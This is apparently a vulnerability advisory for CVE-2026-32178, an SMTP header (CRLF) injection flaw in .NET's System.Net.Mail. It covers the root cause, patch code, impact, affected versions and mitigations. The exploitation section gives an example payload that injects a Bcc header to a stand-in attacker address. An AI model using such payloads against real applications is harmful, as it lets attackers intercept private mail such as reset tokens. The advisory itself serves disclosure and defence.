Apr 17, 2026·7 min read·11 visits
Missing CRLF sanitization in the .NET System.Net.Mail library allows remote attackers to inject arbitrary SMTP headers (such as Bcc) via crafted user input, leading to unauthorized data disclosure and email spoofing.
CVE-2026-32178 is a high-severity spoofing and protocol smuggling vulnerability in the Microsoft .NET runtime and Visual Studio. The flaw stems from inadequate neutralization of carriage return and line feed (CRLF) characters within the System.Net.Mail namespace, permitting attackers to inject unauthorized SMTP headers and manipulate email routing logic.
CVE-2026-32178 is a critical implementation flaw in the System.Net.Mail component of the .NET runtime. This namespace provides APIs for sending electronic mail to an SMTP server for delivery. The vulnerability is classified under CWE-138 (Improper Neutralization of Special Elements) and specifically manifests as an SMTP Header Injection or CRLF Smuggling issue. Application architectures relying on this component to process external input for email generation are directly exposed to protocol manipulation.
The core defect exists within the parser responsible for constructing email components, particularly the display name and address fields. The library fails to validate and reject control characters—specifically \r (Carriage Return) and \n (Line Feed)—before appending them to the underlying network stream. This omission violates safe protocol serialization practices, allowing an attacker to inject structural boundaries into the resulting SMTP payload. The impact is primarily a loss of confidentiality and integrity of the communication channel, scored at a CVSS 3.1 Base Score of 7.5.
Concurrent security assessments of the .NET runtime identified secondary hardening requirements that were addressed alongside this vulnerability. These included unconstrained recursion logic in System.Security.Cryptography.Xml leading to potential stack exhaustion, and protocol compliance failures in System.Net.WebSockets regarding RFC 6455 frame masking. While these were mitigated in the same patch cycle, the SMTP injection flaw remains the primary vector for immediate, unauthorized data leakage.
The fundamental mechanism of the vulnerability relies on the architectural design of the Simple Mail Transfer Protocol (SMTP) as defined in RFC 5321. SMTP is a text-based protocol where commands and headers are strictly delimited by CRLF (\r\n) sequences. The .NET MailAddressParser.TryParseAddress method processed input strings to extract email addresses and display names but explicitly lacked a validation routine to ensure these delimiter characters were absent from the structural components of the parsed address.
When SmtpClient.Send() serializes the MailMessage object, it concatenates the validated objects into raw byte streams corresponding to the SMTP DATA phase. Because the parser accepted the injected CRLF characters as valid constituents of a display name, the serialization engine faithfully wrote them to the underlying TCP socket. The upstream SMTP server, adhering to RFC standard parsing, interpreted the injected CRLF as the termination of the current header field and the subsequent characters as a distinctly new header field.
The execution of this injection was compounded by a concurrent logic error in the runtime's base64 decoding implementation. In System.Private.CoreLib, the Base64DecoderHelper.DecodeFrom method contained a flaw where it ignored negative return values (i0 < 0) during the processing of residual string tails. This failure to handle decoding map errors allowed malformed bytes to bypass validation gates in certain encoding schemas. If an application attempted to process an attacker-supplied encoded string before passing it to the mail parser, this base64 error could mask the injected CRLF sequences from intermediate application-layer filters.
The mitigation for the SMTP injection flaw centers on the introduction of strict input validation within the parser. The commit df1ae78bed2af9243d55e0b0e7b207dc406cafea modified src/libraries/System.Net.Mail/src/System/Net/Mail/MailAddressParser.cs to execute a linear scan over the parsed character data before returning a valid address object. The code utilizes MailBnfHelper.HasCROrLF(data) to detect control sequences.
// Patched MailAddressParser.cs logic
if (index == data.Length - 1 && MailBnfHelper.HasCROrLF(data))
{
if (throwExceptionIfFail)
{
throw new FormatException(SR.MailAddressInvalidFormat);
}
return false;
}This exact block ensures that if a carriage return or line feed is detected at the conclusion of the parsing index array, the runtime explicitly faults and throws a FormatException. The upstream serialization phase is therefore unreachable with tainted input. Additionally, the base64 decoding routine in src/libraries/System.Private.CoreLib/src/System/Buffers/Text/Base64Helper/Base64DecoderHelper.cs (commit a1b54a0052fa51fec4ed554ce0b8bba2e1a75f26) was modified to correctly handle the error states.
// Patched Base64DecoderHelper.cs logic
int i0 = decoder.DecodeRemaining(srcEnd, ref decodingMap, remaining, out uint t2, out uint t3);
if (i0 < 0)
{
goto InvalidDataExit;
}The modification mandates a jump to the InvalidDataExit label, aborting the conversion if an invalid character maps to a negative index. Concurrently, the XML parsing vulnerability was addressed in src/libraries/System.Security.Cryptography.Xml/src/System/Security/Cryptography/Xml/LocalAppContextSwitches.cs (commit b234b9ae5980f21c499ae0702b098d9898ec786f) by defining DangerousMaxRecursionDepth with a hard limit of 64 iterations, mitigating the stack overflow vector.
Exploitation of CVE-2026-32178 requires an attacker to identify a specific data flow: an exposed input field that is subsequently utilized by the backend application to construct the From, To, or Subject fields of a MailMessage object. Common targets include "Contact Us" forms, automated report generators, and user profile updates where the display name is dynamically integrated into outbound correspondence.
The attacker constructs a payload utilizing URL-encoded or raw carriage return and line feed characters. A standard exploit payload takes the form of Victim Name\r\nBcc: attacker@evil.com. When the vulnerable application passes this payload to new MailAddress(userInput, "sender@app.com"), the CRLF sequence is stored within the object's internal representation. Upon execution of the SmtpClient.Send() method, the serialized output transmits the crafted payload directly into the SMTP stream.
During the SMTP DATA transmission, the receiving MTA processes the stream linearly. It parses the injected CRLF as the end of the From header and registers the subsequent Bcc: attacker@evil.com as a new routing directive. The MTA then dutifully duplicates the email content and routes the blind carbon copy to the attacker-controlled domain. The authorized recipient remains unaware of the interception, resulting in a silent and complete compromise of the message confidentiality.
The primary security impact of this vulnerability is unauthorized information disclosure. By successfully injecting a Bcc header, an attacker intercepts sensitive communications generated by the application. This encompasses password reset tokens, personal identification information, financial transaction receipts, and proprietary business correspondence. The leakage occurs entirely server-side, requiring zero interaction from the victim or the intended recipient.
Secondary impacts involve reputational damage and infrastructure abuse. Attackers can inject arbitrary headers such as Subject or Reply-To to alter the context of the email entirely. They can manipulate the routing to convert the vulnerable server into an open relay for targeted phishing campaigns. Because the emails originate from an authorized MTA and utilize legitimate DKIM/SPF signatures, the spoofed messages easily bypass standard spam filters and establish high credibility with the target.
The CVSS 3.1 rating reflects these conditions accurately. The network attack vector (AV:N) and low complexity (AC:L) indicate ease of remote execution. The requirement for zero privileges (PR:N) and zero user interaction (UI:N) designates the flaw as highly exploitable in automated scenarios. The confidentiality metric is High (C:H) due to the direct access to private correspondence, while integrity and availability are assessed as None (I:N, A:N) regarding the underlying host system, as the execution is constrained to protocol manipulation.
The comprehensive remediation for CVE-2026-32178 mandates upgrading the .NET runtime to the patched servicing releases. System administrators and developers must deploy .NET 10.0.6, 9.0.15, or 8.0.26 depending on the respective production environment. For environments utilizing Visual Studio, upgrades to versions 17.12.19 or 17.14.30 are required to eliminate the vulnerability during local compilation and debugging processes. The patch operates at the framework level, meaning downstream applications require a restart but do not necessitate recompilation if utilizing shared runtime frameworks.
In scenarios where immediate patching is procedurally restricted, defense-in-depth mitigations must be implemented. Application developers must introduce explicit input sanitization routines on all strings destined for email headers. Regular expressions matching [\r\n] should trigger input rejection rather than sanitization, as structural manipulation attempts indicate malicious intent. This validation must occur at the API gateway or application boundary, prior to the instantiation of any System.Net.Mail objects.
Infrastructure-level mitigation involves reconfiguring the Mail Transfer Agent (MTA) or deploying Web Application Firewall (WAF) rules. MTAs such as Postfix or Exim can be configured to enforce strict header compliance and reject transactions containing malformed headers or duplicate From fields. Network intrusion detection systems can deploy rules to monitor outbound traffic on port 25, 465, or 587 for irregular header sequences originating from .NET application servers, providing early indicators of exploitation attempts.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
.NET 10.0 Microsoft | 10.0.0 <= version < 10.0.6 | 10.0.6 |
.NET 9.0 Microsoft | 9.0.0 <= version < 9.0.15 | 9.0.15 |
.NET 8.0 Microsoft | 8.0.0 <= version < 8.0.26 | 8.0.26 |
Visual Studio 2022 Microsoft | 17.12.0 <= version < 17.12.19 | 17.12.19 |
Visual Studio 2022 Microsoft | 17.14.0 <= version < 17.14.30 | 17.14.30 |
| Attribute | Detail |
|---|---|
| Vulnerability Type | CRLF Injection / Protocol Smuggling |
| CWE ID | CWE-138 |
| CVSS v3.1 | 7.5 (High) |
| Attack Vector | Network (Remote) |
| EPSS Score | 0.00053 (16.58%) |
| Exploit Status | None (No public PoC) |
| CISA KEV | Not Listed |
The software receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as control, routing, or structural characters when they are sent to a downstream component.